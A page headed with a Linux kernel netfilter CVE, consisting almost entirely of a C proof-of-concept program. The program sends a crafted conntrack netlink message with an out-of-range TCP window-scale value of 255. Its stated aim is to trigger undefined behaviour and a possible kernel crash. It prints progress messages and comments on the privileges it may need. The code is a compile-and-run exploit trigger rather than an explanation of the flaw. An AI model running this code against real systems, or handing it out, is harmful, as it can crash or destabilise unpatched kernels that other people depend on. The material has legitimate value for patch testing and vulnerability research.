CVE-2026-31495 Linux Kernel netfilter输入验证漏洞

/* * PoC for CVE-2026-31495 * Trigger undefined behavior in ctnetlink via invalid TCP WSCALE. * Compile: gcc -o poc_cve202631495 poc_cve202631495.c -lmnl */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libmnl/libmnl.h> #include <linux/netfilter/nfnetlink_conntrack.h> #define NFNL_SUBSYS_CTNETLINK 1 int main() { struct mnl_socket *nl; char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh; struct nfgenmsg *nfh; nl = mnl_socket_open(NETLINK_NETFILTER); if (nl == NULL) { perror("mnl_socket_open"); exit(EXIT_FAILURE); } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); exit(EXIT_FAILURE); } // Build Netlink Message Header nlh = mnl_nlmsg_put_header(buf); nlh->nlmsg_type = (NFNL_SUBSYS_CTNETLINK << 8) | IPCTNL_MSG_CT_NEW; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nlh->nlmsg_seq = 1; // Add Netfilter Generic Header nfh = mnl_nlmsg_put_extra_header(nlh, sizeof(struct nfgenmsg)); nfh->nfgen_family = AF_INET; nfh->version = NFNETLINK_V0; nfh->res_id = 0; // Add Nested Attribute: CTA_PROTOINFO struct nlattr *nest_proto = mnl_attr_nest_start(nlh, CTA_PROTOINFO); // Add Nested Attribute: CTA_PROTOINFO_TCP struct nlattr *nest_tcp = mnl_attr_nest_start(nlh, CTA_PROTOINFO_TCP); // Add Malicious Attribute: CTA_PROTOINFO_TCP_WSCALE_ORIGINAL // Valid max is 14, sending 255 to trigger undefined behavior (shift > 31) printf("[+] Sending malicious netlink message with WSCALE = 255...\n"); mnl_attr_put_u8(nlh, CTA_PROTOINFO_TCP_WSCALE_ORIGINAL, 255); mnl_attr_nest_end(nlh, nest_tcp); mnl_attr_nest_end(nlh, nest_proto); // Send to Kernel if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("mnl_socket_sendto"); // If sending fails due to permissions, the exploit requirement (PR:L) might // need specific capabilities, but the vulnerability logic remains. exit(EXIT_FAILURE); } printf("[+] Message sent. Check kernel logs for crash or errors.\n"); mnl_socket_close(nl); return 0; }